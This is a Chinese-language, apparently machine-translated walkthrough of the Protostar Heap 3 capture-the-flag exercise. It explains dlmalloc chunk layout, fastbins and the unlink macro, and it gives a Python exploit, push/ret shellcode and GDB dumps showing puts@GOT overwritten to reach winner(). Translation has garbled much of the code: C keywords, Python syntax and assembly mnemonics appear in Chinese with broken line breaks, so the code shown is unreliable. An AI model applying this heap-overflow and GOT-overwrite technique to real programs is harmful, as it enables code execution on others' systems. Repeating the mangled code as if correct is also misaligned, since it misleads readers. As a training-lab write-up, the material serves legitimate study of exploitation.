Protostar堆3演练

之前已经解决了Exploit Exercises(https://medium.com/@airman604/protostar-stack7-walkthrough-2aa2428be3e0)中Protostar中的最后一个堆栈挑战,现在我们切换到最后一个堆挑战(https:// exploit- Exercises.com/protostar/heap3/)。

这是Protostar Heap 3挑战的源代码:

  #include  
#include
#include
#include
#include void winner()
{
printf(“现在还不错,是吗?@%d \ n”,time(NULL));
} int main(int argc,char ** argv)
{
字符* a,* b,* c; a = malloc(32);
b = malloc(32);
c = malloc(32); strcpy(a,argv [1]);
strcpy(b,argv [2]);
strcpy(c,argv [3]); 免费(c);
免费(b);
免费(a); printf(“炸药失败?\ n”);
}

目标是调用winnder()函数。 使用strcpy ,可能会溢出所有三个动态分配的缓冲区,因此让我们看一下该怎么做。

堆在C程序中用于动态内存管理。 libc提供了一个易于使用的接口( malloc / free )来分配和取消分配内存区域。 Protostar中的libc版本使用malloc的实现(称为dlmalloc),以其原始创建者Doug Lea的名字命名。 如上所述,malloc使用的控制结构与数据一起带内存储,当堆缓冲区可能溢出时,允许对控制结构进行操作。

malloc分配具有以下结构的块中的内存:

prev_size存储前一个块的大小, size存储当前块的大小。 块大小将始终为8字节的倍数以进行对齐,这意味着该大小的最低3位将始终为malloc使用这三个位,最显着的是最低有效位将指示前一个块是否正在使用或自由。 因此,如果在size字段中看到0x29,则当前块的大小为40(十六进制0x28),并且上一个块正在使用中。 调用malloc ,它将初始化prev_sizesizeprev_size其后返回内存的地址(上图中的mem )。 对于使用的块,将忽略表示为fdbk字段,并将存储器用于程序数据。

当一个块空闲时(即在调用free块后),该块存储在双链表结构中, fd字段包含下一个空闲块的地址(前向指针), bk字段包含前一个空闲块的地址(向后指针)。 因此,这些指针会覆盖未使用的块中数据的开头。

这是在malloc.c (简化)中定义malloc_chunk方式:

  struct malloc_chunk {INTERNAL_SIZE_T prev_size; 
INTERNAL_SIZE_T大小;

struct malloc_chunk * fd;
struct malloc_chunk * bk;
};

现在,让我们在调试器中运行该程序,看看它如何工作:

  user @ protostar:/ opt / protostar / bin $ gdb heap3 
GNU gdb(GDB)7.0.1-Debian
版权所有(C)2009自由软件基金会,公司。
许可证GPLv3 +:GNU GPL版本3或更高版本
这是免费软件:您可以自由更改和重新分发它。
在法律允许的范围内,没有任何担保。 输入“显示复制”
和“显示保修”了解详情。
该GDB被配置为“ i486-linux-gnu”。
有关错误报告的说明,请参阅:
...
从/opt/protostar/bin/heap3...done中读取符号。
(gdb) 设置反汇编intel
(gdb) 关闭分页
(GDB) Disas Main
函数main的汇编代码转储:
0x08048889 :推送ebp
0x0804888a :mov ebp,esp
0x0804888c :和esp,0xfffffff0
0x0804888f :子esp,0x20
0x08048892 :mov DWORD PTR [esp],0x20
0x08048899 :调用0x8048ff2
0x0804889e :mov DWORD PTR [esp + 0x14],eax
0x080488a2 :mov DWORD PTR [esp],0x20
0x080488a9 :调用0x8048ff2
0x080488ae :mov DWORD PTR [esp + 0x18],eax
0x080488b2 :mov DWORD PTR [esp],0x20
0x080488b9 :调用0x8048ff2
0x080488be :mov DWORD PTR [esp + 0x1c],eax
0x080488c2 :mov eax,DWORD PTR [ebp + 0xc]
0x080488c5 :添加eax,0x4
0x080488c8 :mov eax,DWORD PTR [eax]
0x080488ca :mov DWORD PTR [esp + 0x4],eax
0x080488ce :mov eax,DWORD PTR [esp + 0x14]
0x080488d2 :mov DWORD PTR [esp],eax
0x080488d5 :呼叫0x8048750
0x080488da :mov eax,DWORD PTR [ebp + 0xc]
0x080488dd :添加eax,0x8
0x080488e0 :mov eax,DWORD PTR [eax]
0x080488e2 :mov DWORD PTR [esp + 0x4],eax
0x080488e6 :mov eax,DWORD PTR [esp + 0x18]
0x080488ea :mov DWORD PTR [esp],eax
0x080488ed :呼叫0x8048750
0x080488f2 :mov eax,DWORD PTR [ebp + 0xc]
0x080488f5 :添加eax,0xc
0x080488f8 :mov eax,DWORD PTR [eax]
0x080488fa :mov DWORD PTR [esp + 0x4],eax
0x080488fe :mov eax,DWORD PTR [esp + 0x1c]
0x08048902 :mov DWORD PTR [esp],eax
0x08048905 :呼叫0x8048750
0x0804890a :mov eax,DWORD PTR [esp + 0x1c]
0x0804890e :mov DWORD PTR [esp],eax
0x08048911 :呼叫0x8049824
0x08048916 :mov eax,DWORD PTR [esp + 0x18]
0x0804891a :mov DWORD PTR [esp],eax
0x0804891d :呼叫0x8049824
0x08048922 :mov eax,DWORD PTR [esp + 0x14]
0x08048926 :mov DWORD PTR [esp],eax
0x08048929 :呼叫0x8049824
0x0804892e :mov DWORD PTR [esp],0x804ac27
0x08048935 :致电0x8048790
0x0804893a :离开
0x0804893b :保留
汇编器转储结束。
(gdb) 中断* 0x080488be
0x80488be处的断点1:文件heap3 / heap3.c,第18行。
(gdb) 中断* 0x0804890a
0x804890a处的断点2:文件heap3 / heap3.c,第24行。
(gdb) 中断* 0x0804892e
0x804892e处的断点3:文件heap3 / heap3.c,第28行。

我们将程序加载到GDB中,并在所有malloc调用之后,所有strcpy调用之后以及所有free调用之后设置断点。 让我们运行它:

  (gdb) 运行AAAAAAAA BBBBBBBB CCCCCCCC 
启动程序:/ opt / protostar / bin / heap3 AAAAAAAA BBBBBBBB CCCCCCCCB断点1,堆3 / heap3.c中主节点(argc = 4,argv = 0xbffff854)的0x080488be
18 heap3 / heap3.c:没有这样的文件或目录。
在heap3 / heap3.c中
(gdb) 信息处理程序映射
处理2482
cmdline ='/ opt / protostar / bin / heap3'
cwd ='/ opt / protostar / bin'
exe ='/ opt / protostar / bin / heap3'
映射的地址空间:Start Addr End Addr Size Offset objfile
0x8048000 0x804b000 0x3000 0 / opt / protostar / bin / heap3
0x804b000 0x804c000 0x1000 0x3000 / opt / protostar / bin / heap3
0x804c000 0x804d000 0x1000 0 [堆]
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fe0000 0xb7fe2000 0x2000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [堆栈]
(gdb) x / 40x 0x804c000
0x804c000: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030:0x00000000 0x00000000 0x00000000 0x00000000
0x804c040:0x00000000 0x00000000 0x00000000 0x00000000
0x804c050:0x00000000 0x00000029 0x00000000 0x00000000
0x804c060:0x00000000 0x00000000 0x00000000 0x00000000
0x804c070:0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080:0x00000000 0x00000000 0x00000000 0x00000000
0x804c090:0x00000000 0x00000000 0x00000000 0x00000000
(gdb) 定义挂钩停止
输入用于定义“挂机停止”的命令。
结束时说“结束”。
> x / i $ eip
> x / 40x 0x804c000
> 结束

malloc之后,我们检查程序的内存布局以查找堆的位置( 0x0804c000 ),并配置GDB以在每次到达断点时从堆的顶部打印当前CPU指令和40个32位值。

堆的突出显示部分是第一个分配的块。 我们可以看到prev_size为0, size为0x29(40个字节,最低有效位设置为1以指示先前的块正在使用),然后分配了32个字节的内存。

让我们继续:

  (gdb) c 
继续。
0x804890a :mov eax,DWORD PTR [esp + 0x1c]
0x804c000:0x00000000 0x00000029 0x41414141 0x41414141
0x804c010:0x00000000 0x00000000 0x00000000 0x00000000
0x804c020:0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x00000000 0x00000000
0x804c040:0x00000000 0x00000000 0x00000000 0x00000000
0x804c050:0x00000000 0x00000029 0x43434343 0x43434343
0x804c060:0x00000000 0x00000000 0x00000000 0x00000000
0x804c070:0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080:0x00000000 0x00000000 0x00000000 0x00000000
0x804c090:0x00000000 0x00000000 0x00000000 0x00000000断点2,主(argc = 4,argv = 0xbffff854)在heap3 / heap3.c:24
在heap3 / heap3.c中为24

我们看到strcpy将数据复制到分配的内存中(“ A”为ASCII 0x41,“ B”为0x42,“ C”为0x43)。

  (gdb) c 
继续。
0x804892e :mov DWORD PTR [esp],0x804ac27
0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030:0x0804c050 0x42424242 0x00000000 0x00000000
0x804c040:0x00000000 0x00000000 0x00000000 0x00000000
0x804c050:0x00000000 0x00000029 0x00000000 0x43434343
0x804c060:0x00000000 0x00000000 0x00000000 0x00000000
0x804c070:0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080:0x00000000 0x00000000 0x00000000 0x00000000
0x804c090:0x00000000 0x00000000 0x00000000 0x00000000断点3,主要(argc = 4,argv = 0xbffff854)在heap3 / heap3.c:28
在heap3 / heap3.c中为28
(gdb) c
继续。
炸药失败?程序退出,代码为021。
运行hook_stop时出错:
没有寄存器。

现在,我们看到了一些意外情况。 首先, prev_size在所有块中仍为0,但它应包含前一个块的大小。 其次,尽管fd正确指向了下一个空闲块(第一个块的地址为0x0804c028 ,这是第二个块的地址),但bk似乎没有设置。 同样,尚未设置size字段的最低有效位以指示先前的块是空闲的。 到底是怎么回事?

之所以无法按预期方式工作,是因为分配的缓冲区很小。 当块小于64字节(默认情况下)时, malloc将使用简化的数据结构(fastbin),并将忽略prev_sizebk和“先前使用的块”位。

那么,如果所有块都很小,为什么我们要讨论所有这些字段呢? 对于我们的利用代码,我们将需要malloc将这些块视为常规块,而不是fastbin块。

当在块上调用free ,如果与要释放的块相邻(例如,紧接在此之前或之后)有空闲块,则free会将它们合并为更大的空闲块。 空闲块存储在双向链接列表中(暂时忽略fastbin块),并且进行合并时, free将从列表中删除正在合并的相邻空闲块,因为它将成为新的更大块的一部分。 这是概念上发生的事情(还有更多的代码和边缘情况,例如检查当前块是否是堆中的最后一块):

  if(下一个相邻块是免费的){ 
断开下一个相邻块的链接;
增加当前块的大小以包括下一个相邻块;
} if(先前相邻的块是免费的){
取消链接先前相邻的块;
增加前一个相邻块的大小以包括当前块;
}

取消链接部分是通过unlink宏完成的,这是一个简化的版本:

  #define unlink(P,BK,FD){\ 
FD = P-> fd; \
BK = P-> bk; \
FD-> bk = BK; \
BK-> fd = FD; \
}

调用时将要取消链接的块作为第一个参数P ,将临时变量存储为指向前一个和下一个空闲块的指针作为参数BKFD 。 当一个块被取消链接时,它使下一个空闲块P->fd和前一个空闲块P->bk彼此指向。 这是一个视觉效果:

因此, unlink基本上将P->bk的值写入地址(P->fd)+12的内存中,并将P->fd的值写入地址(P->bk)+8的内存中。 更改的内存以蓝色突出显示。 如果我们可以控制P->fdP->bk的值,则可以覆盖任意内存,其限制是(P->fd)+12(P->bk)+8都必须是可写的。

再次查看main()的反汇编。 源代码在main()的末尾调用printf ,但是作为优化的一部分,编译器确定字符串是恒定的,并将其替换为puts地址0x08048790 puts的调用。 让我们看看它的作用:

  (gdb) x / 3i 0x8048790 
0x8048790 :jmp DWORD PTR ds:0x804b128
0x8048796 :推送0x68
0x804879b :跳0x80486b0
(gdb) x / x 0x804b128
0x804b128 :0x08048796

不直接调用puts ,而是通过跳转到GOT(全局偏移表)中包含的puts地址的PLT(过程链接表)进行调用。 这是动态库链接的一部分,这是LiveOverflow的视频说明:https://www.youtube.com/watch?v=kUk5pw4w0h4

如果我们覆盖地址0x0804b128则可以使用全局偏移表来重定向执行流。

我们的计划现在很明确。 我们将在shell上的某个位置存储将调用winner() shellcode,然后将强制对块进行合并,并unlink对特制块的unlink 。 该块将在fd字段中包含0x0804b11c = (0x0804b128-12) ,在bk字段中包含shellcode的地址。 我们无法将winner()的地址写入bk因为那部分内存不可写,并且BK->fd也将作为unlink一部分进行更新。

我们需要下面链接的Phrack文章中介绍的另一个小技巧-如果块大小为-4( 0xfffffffc ),该怎么办?

  • 在确定是否使用fastbin时,malloc将块大小转换为unsigned int,因此-4大于64。
  • 未设置最低有效位0xfffffffc ,这表示先前的相邻块是空闲的,并且将为此调用unlink
  • 前一个相邻块的地址将通过从当前块的开头减去-4(即加4)来计算。
  • 下一个相邻块的地址将通过从当前块的开头加-4(即减去4)来计算。 其size也将为-4。
  • 当前块开始之前的值将用于确定下一个相邻块是否空闲。 应将其设置为奇数,以避免内存损坏(否则,将在下一个相邻块中调用unlink ,这也是空闲块合并的一部分)。

如果我们可以对此特制块进行free调用,则它将导致puts@GOT的值替换为我们的shellcode地址。 注意,shellcode应该是超短的(8个字节或更少),或者向前跳12个字节,因为unlink会覆盖“ addr of shellcode” +8处的内存。

使用负数大小还可以处理NULL / 0x00字节,我们不能将其任意放入缓冲区中,因为它们将被视为字符串终止符。

我们只需要调用winner()

  (GDB) P冠军 
$ 2 = {void(void)} 0x8048864

这个汇编代码片段应该这样做:

 推0x08048864 
退回

我使用http://shell-storm.org/online/Online-Assembler-and-Disassembler/将这些指令转换为"\x68\x64\x88\x04\x08\xc3" ,它适合我们拥有的8个字节可用。

我们将使用第三个缓冲区来制作块。 我们将shellcode存储在第二个缓冲区的中间,还将使用它用0xfffffffc覆盖prev_size和最后一块的size

  #!/ usr / bin / python#用法: 
#运行此脚本,然后以以下方式启动heap3:
#./heap3 $(cat / tmp / A)$(cat / tmp / B)$(cat / tmp / C)
#脚本将写入/ tmp / [A,B,C]有效负载import struct#第一个参数
buf1 =''
buf1 + ='AAAA'#未使用#第二个参数
buf2 =''
buf2 + ='\ xff'* 16
buf2 + =“ \ x68 \ x64 \ x88 \ x04 \ x08 \ xc3”#shellcode
buf2 + ='\ xff'*(32-len(buf2))
#用-4覆盖prev_size和最后一块的大小
buf2 + = struct.pack('I',0xfffffffc)* 2#第三个参数
buf3 =''
buf3 + ='\ xff'* 4#垃圾
buf3 + = struct.pack('I',0x804b128-12)#puts @ GOT-12
buf3 + = struct.pack('I',0x804c040)#shellcodefiles的地址= [“ / tmp / A”,“ / tmp / B”,“ / tmp / C”]
缓冲区= [buf1,buf2,buf3]用于f_name,zip中的buf(文件,缓冲区):
与open(f_name,'wb')作为f:
f。写(buf)

该漏洞利用文件将这些缓冲区另存为/tmp/[A,B,C] ,因此heap3应该被称为:

  user @ protostar:/ opt / protostar / bin $ ./heap3 $(cat / tmp / A)$(cat / tmp / B)$(cat / tmp / C) 
现在还算不错,不是吗? @ 1523764777

有用! 让我们在GDB中进行检查。 我们将在第一次调用freeputs设置断点:

  (gdb) 删除 
删除所有断点? (y或n) y
(gdb) 中断* 0x08048911
0x8048911处的断点6:文件heap3 / heap3.c,第24行。
(gdb)中断* 0x08048935
断点7位于0x8048935:文件heap3 / heap3.c,第28行。
(gdb) 运行$(cat / tmp / A)$(cat / tmp / B)$(cat / tmp / C)
启动程序:/ opt / protostar / bin / heap3 $(cat / tmp / A)$(cat / tmp / B)$(cat / tmp / C)
0x8048911 :呼叫0x8049824
0x804c000:0x00000000 0x00000029 0x41414141 0x00000000
0x804c010:0x00000000 0x00000000 0x00000000 0x00000000
0x804c020:0x00000000 0x00000000 0x00000000 0x00000029
0x804c030:0xffffffff 0xffffffff 0xffffffff 0xffffffff
0x804c040: 0x04886468 0x ffff c308 0xffffffff 0xffffffff
0x804c050: 0xfffffffc 0xfffffffc 0xffffffff 0x0804b11c
0x804c060: 0x0804c040 0x00000000 0x00000000 0x00000000
0x804c070:0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080:0x00000000 0x00000000 0x00000000 0x00000000
0x804c090:0x00000000 0x00000000 0x00000000 0x00000000断点6,堆3 / heap3.c中main(argc = 4,argv = 0xbffff834)中的0x08048911:24
在heap3 / heap3.c中为24

我已经在地址0x0804c040突出显示了shellcode,在地址0x0804c040突出了我们的伪0x0804c050 。 让我们继续:

  (gdb) c 
继续。
0x8048935 :致电0x8048790
0x804c000:0x00000000 0x00000029 0x0804c028 0x00000000
0x804c010:0x00000000 0x00000000 0x00000000 0x00000000
0x804c020:0x00000000 0x00000000 0x00000000 0x00000029
0x804c030:0x00000000 0xffffffff 0xffffffff 0xffffffff
0x804c040:0x04886468 0xffffc308 0x0804b11c 0xfffffff8
0x804c050:0xfffffffc 0xfffffffc 0xfffffff9 0x0804b194
0x804c060:0x0804b194 0x00000000 0x00000000 0x00000000
0x804c070:0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080:0x00000000 0x00000000 0x00000000 0x00000000
0x804c090:0x00000000 0x00000000 0x00000000 0x00000000断点7,堆3 / heap3.c中main(argc = 4,argv = 0xbffff834)中的0x08048935:c:28
在heap3 / heap3.c中为28
(gdb) x / x 0x804b128
0x804b128 : 0x0804c040
(gdb) c
继续。
现在还算不错,不是吗? @ 1523773687程序退出,代码056。
运行hook_stop时出错:
没有寄存器。

我们检查是否已正确更新GOT中的puts地址以指向shellcode。 我还突出显示了被unlink覆盖的shellcode之后的地址。

我花了一段时间才弄清楚堆漏洞利用是如何工作的,一开始似乎是黑魔法。 另外,fastbin的东西也很令人困惑。 希望本演练对您有所帮助。

Phrack问题#57, 曾经是free()的匿名用户— http://phrack.org/issues/57/9.html

LiveOverflow二进制黑客课程— https://www.youtube.com/watch?v=iyAyN3GFM7A&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN

来自Joshua Wang的Protostar Heap 3演练:https://conceptofproof.wordpress.com/2013/11/19/protostar-heap3-walkthrough/